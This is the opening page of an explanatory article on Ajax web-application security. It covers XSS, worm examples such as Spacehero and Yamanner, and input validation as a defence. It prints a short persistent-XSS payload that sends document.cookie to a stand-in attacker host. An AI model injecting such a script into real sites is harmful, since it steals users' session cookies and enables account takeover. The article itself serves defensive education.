1 2 3 4 next »

Mike Kemp

Ajax Security: Stronger than Dirt?

A look at the security implications of Ajax

Ajax allows the development of more feature rich, asynchronous applications, but in doing so opens up new possibilities for attackers. We look at the relevant security issues and their possible solutions.

Ajax (Asynchronous JavaScript and XML) lurched into being in 2005 [1]. As a web services model, Ajax is touted as the next big thing by many who work in web development. Like all big things however, Ajax is not without its faults, one of the most pronounced being that not many people actually know what Ajax is, and what potential risks could be introduced into enterprise environments by embracing it. This article examines what Ajax is, the security implications for Ajax applications, and details a range of potential attack vectors against this technology together with possible defences.

At its simplest level Ajax is anything but new, as it is based around old technologies, but pushed beyond their original scope. Ajax is the latest inheritor of the Dynamic HTML mantle, and allows for the development of feature rich and practical web applications. At the purest level all an Ajax web application does is use an XMLHttpRequest JavaScript object to poll data from a remote web server and then manipulate this data to output to a web page utilising the DOM (Document Object Model) [2]. Up until now, Google, Yahoo and Microsoft have been big players in the Ajax development arena, but increasing numbers of high profile websites are turning to Ajax to provide an asynchronous, feature rich environment for their users, without sadly giving too much thought to potential inconveniences such as security.

It is best first to look at JavaScript and browser security issues. Upon initial execution of an Ajax application the originating web server transmits a series of JavaScript instructions to a web browser on a PC, which then executes the instructions it has received. Clearly, the user of an Ajax application places significant trust in the application developers. The JavaScript code of an Ajax application is executable mobile code, and as such an obvious security risk. Typically, browser vendors deal with the thorny topic of JavaScript code execution by having it occur within a sandbox. In addition, the JavaScript security model prevents scripts from different domains from interacting with each other (and affecting the DOM).

Amongst both traditional web applications and their Ajax counterparts, Cross Site Scripting (XSS) remains a major and often underestimated problem, that affords potential attackers a range of attack vectors. Ajax provides attackers not only with a wealth of new, potentially vulnerable applications but also with more powerful methods to exploit them. In a traditional web application attackers have historically had to focus their intentions on browsers in a wait state, and this in many instances provided visual clues that the application was not behaving quite as it should.

With the introduction of asynchronous behaviours, malicious code can quietly and surreptitiously be performing all manner of harmful activities as a result of XSS without 'clues' being provided to the user. Recent examples of this include the behaviours of the JS.Spacehero worm [3], and the JS.Yamanner [4] worm which recently exploited flaws in Yahoo's input validation routines and code filters. Although neither of these two real world attacks have caused much widespread damage in the wild, the fact that attackers are focusing on using a traditional and well known vector such as XSS against emerging implementations of Ajax application should be of concern to anybody choosing to embrace this 'Web 2.0' technology.

The attack vector employed by the recent MySpace worm employed XMLHTTPRequests as a propagation mechanism, and can be defined as a persistent XSS attack. This comparatively benign worm executed JavaScript that used XMLHTTPRequests silently to execute GET and POST requests to and from a legitimate server without a targetted user aware of what actions were being performed behind the scenes. The end result of all this being that a new 'friend' was added to their list of legitimate contacts. In a persistent (or type 2) XSS attack, a malicious attacker uses the functionality of the application against itself. At its simplest level, if an application is vulnerable to XSS, attackers may choose to store their attack vector on the server and utilise it against legitimate users. For example, take the old standby of a messaging board system, which requires authentication plus session ID to allow a user to post. If the session ID is stored in a client side cookie, and the application is vulnerable to XSS, an attacker can potentially store persistent JavaScript code that redirects users to their own malicious site that will successfully snarf all user session IDs, e.g.:

<script>
document.location.replace(
"http://www.attackersite.example/steal.php "
+ "what=" + document.cookie)
</script>

Persistent XSS is potentially of grave concern, and as web applications evolve into more asynchronous and feature rich environments, developers need to pay serious heed to what is historically perceived as a minor threat. The solution to these attack vectors is a simple one, and relies upon developers taking into account the basic functionality of the XMLHTTPRequest object as well as ensuring that input validation mechanisms are up to scratch. [5]

1 2 3 4 next »